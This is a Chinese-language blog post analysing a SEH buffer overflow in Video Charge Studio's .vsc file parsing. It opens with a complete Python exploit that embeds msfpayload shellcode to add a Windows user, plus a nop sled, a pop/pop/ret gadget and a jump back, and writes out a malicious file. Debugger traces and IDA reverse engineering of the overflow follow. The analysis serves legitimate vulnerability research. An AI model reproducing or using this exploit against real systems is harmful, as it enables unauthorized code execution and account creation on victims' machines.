Video Charge Studio缓冲区溢出漏洞

作者:k0shl 转载请注明出处:http://whereisk0shl.top

漏洞说明


软件下载:
https://www.exploit-db.com/apps/350302ca7390819ca4951a9d2e946ecd-VideoChargeStudio_Install.exe

PoC:

import struct
import sys
 
about = "=================================================\n"
about +=  " Video Charge Studio <= 2.9.5.643 (.vsc) BoF (SEH)\n"
about +=  " Author: xsploited security\n URL: http://www.x-sploited.com/\n"
about +=  " Contact: xsploitedsecurity [at] gmail.com\n"
about +=  "=================================================\n"
print about
 
# msfpayload windows/adduser user=xsploited pass=sec  EXITFUNC=seh
# R | msfencode -e x86stenv_mov -c 1 -t perl -b '\x00\x09\x0a
# \x0d\x3e\x3c\x26\x20\x21\x22\x23\x2a\x07' > /tmp/encoded.txt
# [*] x86stenv_mov succeeded with size 302 (iteration=1)
 
shellcode = (
"\x6a\x46\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xce"
"\xcf\xb0\x91\x83\xeb\xfc\xe2\xf4\x32\x27\x39\x91\xce\xcf"
"\xd0\x18\x2b\xfe\x62\xf5\x45\x9d\x80\x1a\x9c\xc3\x3b\xc3"
"\xda\x44\xc2\xb9\xc1\x78\xfa\xb7\xff\x30\x81\x51\x62\xf3"
"\xd1\xed\xcc\xe3\x90\x50\x01\xc2\xb1\x56\x2c\x3f\xe2\xc6"
"\x45\x9d\xa0\x1a\x8c\xf3\xb1\x41\x45\x8f\xc8\x14\x0e\xbb"
"\xfa\x90\x1e\x9f\x3b\xd9\xd6\x44\xe8\xb1\xcf\x1c\x53\xad"
"\x87\x44\x84\x1a\xcf\x19\x81\x6e\xff\x0f\x1c\x50\x01\xc2"
"\xb1\x56\xf6\x2f\xc5\x65\xcd\xb2\x48\xaa\xb3\xeb\xc5\x73"
"\x96\x44\xe8\xb5\xcf\x1c\xd6\x1a\xc2\x84\x3b\xc9\xd2\xce"
"\x63\x1a\xca\x44\xb1\x41\x47\x8b\x94\xb5\x95\x94\xd1\xc8"
"\x94\x9e\x4f\x71\x96\x90\xea\x1a\xdc\x24\x36\xcc\xa4\xce"
"\x3d\x14\x77\xcf\xb0\x91\x9e\xa7\x81\x1a\xa1\x48\x4f\x44"
"\x75\x31\xbe\xa3\x24\xa7\x16\x04\x73\x52\x4f\x44\xf2\xc9"
"\xcc\x9b\x4e\x34\x50\xe4\xcb\x74\xf7\x82\xbc\xa0\xda\x91"
"\x9d\x30\x65\xf2\xa3\xab\x9e\xf4\xb6\xaa\x90\xbe\xad\xef"
"\xde\xf4\xba\xef\xc5\xe2\xab\xbd\x90\xe9\xbd\xbf\xdc\xfe"
"\xa7\xbb\xd5\xf5\xee\xbc\xd5\xf2\xee\xe0\xf1\xd5\x8a\xef"
"\x96\xb7\xee\xa1\xd5\xe5\xee\xa3\xdf\xf2\xaf\xa3\xd7\xe3"
"\xa1\xba\xc0\xb1\x8f\xab\xdd\xf8\xa0\xa6\xc3\xe5\xbc\xae"
"\xc4\xfe\xbc\xbc\x90\xe9\xbd\xbf\xdc\xfe\xa7\xbb\xd5\xf5"
"\xee\xe0\xf1\xd5\x8a\xcf\xba\x91"
);
 
header = (
"\x3c\x3f\x78\x6d\x6c\x20\x76\x65\x72\x73\x69\x6f\x6e\x3d\x22\x31\x2e\x30"
"\x22\x20\x65\x6e\x63\x6f\x64\x69\x6e\x67\x3d\x22\x57\x69\x6e\x64\x6f\x77\x73\x2d"
"\x31\x32\x35\x32\x22\x20\x3f\x3e\x3c\x63\x6f\x6e\x66\x69\x67\x20\x76\x65\x72\x3d"
"\x22\x32\x2e\x39\x2e\x35\x2e\x36\x34\x33\x22\x3e\x0d\x0a\x3c\x63\x6f\x6c\x73\x20"
"\x6e\x61\x6d\x65\x3d\x22\x46\x69\x6c\x65\x73\x22\x2f\x3e\x0d\x0a\x3c\x63\x6f\x6c"
"\x73\x20\x6e\x61\x6d\x65\x3d\x22\x50\x72\x6f\x66\x69\x6c\x65\x73\x22\x3e\x0d\x0a"
"\x3c\x50\x72\x6f\x70\x65\x72\x74\x79\x20\x6e\x61\x6d\x65\x3d\x22\x50\x72\x6f\x66"
"\x69\x6c\x65\x22\x3e\x0d\x0a\x3c\x63\x6f\x6c\x73\x20\x6e\x61\x6d\x65\x3d\x22\x46"
"\x6f\x72\x6d\x61\x74\x73\x22\x3e\x0d\x0a\x3c\x50\x72\x6f\x70\x65\x72\x74\x79\x20"
"\x6e\x61\x6d\x65\x3d\x22\x46\x6f\x72\x6d\x61\x74\x22\x3e\x0d\x0a\x3c\x56\x61\x6c"
"\x75\x65\x20\x6e\x61\x6d\x65\x3d\x22\x4e\x61\x6d\x65\x22\x20\x74\x79\x70\x65\x3d"
"\x22\x38\x22\x20\x76\x61\x6c\x75\x65\x3d\x22"
);
 
footer = (
"\x22\x2f\x3e\x0d\x0a\x3c\x2f\x50\x72\x6f\x70\x65\x72\x74\x79\x3e\x0d\x0a"
"\x3c\x2f\x63\x6f\x6c\x73\x3e\x0d\x0a\x3c\x2f\x50\x72\x6f\x70\x65\x72\x74\x79\x3e\x0d"
"\x0a\x3c\x2f\x63\x6f\x6c\x73\x3e\x0d\x0a\x3c\x2f\x63\x6f\x6e\x66\x69\x67\x3e"
);
 
size = 824; #824 junk bytes triggers the bof
 
payload = "\x90" * (size - len(shellcode));
payload += shellcode
 
payload += "\xEB\x06\x90\x90"; #jmp short
payload += struct.pack("<L",0x61B8451C); #universal p/p/r - zlib1.dll (Apps path)
payload += "\xe9\xe0\xfc\xff\xff"; #jmp back 800 bytes
 
xsploit = header + payload  + footer;
 
print("[*] Creating .vsc file");
print "[*] Payload size = " + str(len(payload)) + " bytes";
 
try:
    out_file = open("evil.vsc",'w');
    out_file.write(xsploit);
    out_file.close();
    print("[*] Malicious vsc file created successfully");
    print("[*] Launch Video Charge Studio and load the file\n[*] Exiting...\r\n");
except:
    print "[!] Error creating file";

测试环境:
Windows xp sp3

利用PoC生成一个vsc文件,之后用Video Charge Studio打开,可以触发漏洞,为了避免不必要的麻烦,可以用畸形字符串代替shellcode。


漏洞复现


此漏洞是由于Video Charge Studio程序中的WMOM.dll动态连接库,在处理文件时没有vsc文件中的value字段进行长度检查,导致处理value字段时超长串覆盖,后续进入output_l函数处理其它过程时,某指针被覆盖,导致程序进入SEH异常函数处理流程,最后通过覆盖SEH指针达到接管程序的目的,下面对此漏洞进行详细分析。

首先我们来看一下PoC结构。

<?xml version="1.0" encoding="Windows-1252" ?><config ver="2.9.5.643">

<cols name="Files"/>

<cols name="Profiles">

<Property name="Profile">

<cols name="Formats">

<Property name="Format">

<Value name="Name" type="8" value="PoC seg."
    </Property>

</cols>

</Property>

</cols>

</config>

我将Exp存放位置标记为PoC seg,问题也是在处理Value标签时出的问题,接下来,我们打开漏洞样本,到达现场,附加windbg

(680.108): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=41414141 ebx=02b6a847 ecx=7ffffffe edx=0012f273 esi=00000000 edi=41414141
eip=02b34b25 esp=0012e304 ebp=0012e588 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\VideoCharge Software\VideoCharge Studio\WMOM.dll - 
WMOM!ATL::CComPtrBase<IUnknown>::CComPtrBase<IUnknown>+0xef35:
02b34b25 663930          cmp     word ptr [eax],si        ds:0023:41414141=????

可以看到在WMOM.dll某函数中调用cmp指令时,由于eax被赋值为41414141,从而导致此地址不可读,继而通过SEH指针的控制接管程序。

0:000> g
(680.108): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=41414141 edx=7c9232bc esi=00000000 edi=00000000
eip=41414141 esp=0012df34 ebp=0012df54 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
41414141 ??              ???  

回溯一下堆栈调用。

0:000> kb
ChildEBP RetAddr  Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
0012e588 02b2a9a2 0012e5a8 02b6a83c 00000000 WMOM!ATL::CComPtrBase<IUnknown>::CComPtrBase<IUnknown>+0xef35
0012e5c8 02a9cfa8 0012ed54 02b6a83c 0012e804 WMOM!ATL::CComPtrBase<IUnknown>::CComPtrBase<IUnknown>+0x4db2
0012f098 41414141 41414141 41414141 41414141 WMOM!CWMVAudioCodecs::operator=+0x24b8
0012f09c 41414141 41414141 41414141 41414141 0x41414141
0012f0a0 41414141 41414141 41414141 41414141 0x41414141

我们就通过02a9cfa8和02b2a9a2两个地址来看一下这个漏洞形成的原因。


漏洞分析


首先这里配合ida pro的时候存在一个问题,就是地址不太一样,来看看ida pro的地址区间。

.text:100C4B24 loc_100C4B24:                           ; CODE XREF: __output_l+96B_x0019_j

再看看实际调试的时候。

02a70000 02bfd000   WMOM       (export symbols)       C:\Program Files\VideoCharge Software\VideoCharge Studio\WMOM.dll

所以这里为了结合ida调试,我们需要通过基址+偏移的方法来定位ida pro对应的位置,这样的话,我算出了kb两个回溯地址对应的ida pro的位置。

.text:1002CF8F                 push    ecx
.text:1002CF90                 lea     edx, [ebp+var_894]
.text:1002CF96                 push    edx
.text:1002CF97                 push    offset aSSLsS   ; "%s: %s, %ls, %s"
.text:1002CF9C                 lea     eax, [ebp+MultiByteStr]
.text:1002CFA2                 push    eax             ; char *
.text:1002CFA3                 call    _sprintf

第二处

.text:100BA983                 lea     eax, [ebp+arg_8]
.text:100BA986                 push    eax             ; int
.text:100BA987                 push    ebx             ; struct localeinfo_struct *
.text:100BA988                 push    [ebp+arg_4]     ; int
.text:100BA98B                 lea     eax, [ebp+var_20]
.text:100BA98E                 push    eax             ; FILE *
.text:100BA98F                 mov     [ebp+var_20._cnt], 7FFFFFFFh
.text:100BA996                 mov     [ebp+var_20._flag], 42h
.text:100BA99D                 call    __output_l

我们可以看到之前的一处回溯调用了sprintf,在之前的漏洞分析中,这里如果之前没有进行cmp之类的指令判断长度的话,很容易造成溢出,我们就在这里下断点分析一下。

0:004> g
Breakpoint 0 hit
eax=0012ed54 ebx=0045fab0 ecx=0012ef74 edx=0012e804 esi=00000000 edi=01840048
eip=02a9cfa3 esp=0012e5d0 ebp=0012f098 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
WMOM!CWMVAudioCodecs::operator=+0x24b3:
02a9cfa3 e8a0d90800      call    WMOM!ATL::CComPtrBase<IUnknown>::CComPtrBase<IUnknown>+0x4d58 (02b2a948)

在sprintf调用时中断,这时我们来看一下esp的值。

0:000> dd esp
0012e5d0  0012ed54 02b6a83c 0012e804 0012ef74
0012e5e0  41414141 0012e5f4 93ab9f87 02c7c410
0012e5f0  0012e694 6d617246 30203a65 00150800
0012e600  00150000 0012e630 77d18734 000505ae
0012e610  0000110c 00000000 0012e8b8 5d186859

我们需要回顾一下sprintf的结构,第一个参数是目标拷贝的缓冲区,第二个是拷贝内容,第三个是要拷贝的内容,所以我们关注一下0012e804这个地址的缓冲区。

0:000> dd 0012e804
0012e804  41414141 41414141 41414141 41414141
0012e814  41414141 41414141 41414141 41414141
0012e824  41414141 41414141 41414141 41414141
0012e834  41414141 41414141 41414141 41414141
0012e844  41414141 41414141 41414141 41414141
0012e854  41414141 41414141 41414141 41414141

正是之前读取到的内容,到sprintf前,并没有进行一些长度上的检查,接下来在另一处函数下断点,这个函数,也正是漏洞函数output_l

0:000> g
Breakpoint 1 hit
eax=0012e5a8 ebx=00000000 ecx=0012ef74 edx=0012e804 esi=00000000 edi=01840048
eip=02b2a99d esp=0012e590 ebp=0012e5c8 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
WMOM!ATL::CComPtrBase<IUnknown>::CComPtrBase<IUnknown>+0x4dad:
02b2a99d e821980000      call    WMOM!ATL::CComPtrBase<IUnknown>::CComPtrBase<IUnknown>+0xe5d3 (02b341c3)
0:000> dd esp
0012e590  0012e5a8 02b6a83c 00000000 0012e5d8
0012e5a0  00000000 0045fab0 0012ed54 7fffffff
0012e5b0  0012ed54 00000042 7ffffff6 0012e5f4
0012e5c0  00000042 00000384 0012f098 02a9cfa8

我们通过ida看一下这个函数的传参情况。

int __cdecl _output_l(FILE *a1, int a2, struct localeinfo_struct *a3, int a4)

根据esp情况,我们看一下第四个参数。

0:000> dd 0012e5d8
0012e5d8  0012e804 0012ef74 41414141 0012e5f4
0012e5e8  93ab9f87 02c7c410 0012e694 6d617246
0012e5f8  30203a65 00150800 00150000 0012e630
0012e608  77d18734 000505ae 0000110c 00000000

第四个参数存放的是一个指针,这个指针中的值的情况。

0:000> dd 0012e804
0012e804  41414141 41414141 41414141 41414141
0012e814  41414141 41414141 41414141 41414141
0012e824  41414141 41414141 41414141 41414141
0012e834  41414141 41414141 41414141 41414141
0012e844  41414141 41414141 41414141 41414141
0012e854  41414141 41414141 41414141 41414141

由于之前的操作,指针中的值已经被覆盖了,那么我们通过伪代码的方式观察一下这个int a4在函数中的传递情况。

首先,a4中的地址会作为指针,传递给v5

  v5 = (int *)a4;

接下来这部是关键,v5中存放的值,会作为指针,传递给v78,也就是说,v5有可能使一个存放指针的结构体。

              v78 = *v5;

正如刚才的分析,那么v78这个指针,被v5地址中存放的值赋值了,v78的值就是41414141,接下来v78的传递。

LABEL_83:
              v17 = v78;

这里会将这个值交给v17,那么接下来。

                while ( v17 )
                {
                  --v17;

这里就是漏洞触发的位置了,那么这个操作会由于值不可读,造成漏洞的发生。

Comments
Write a Comment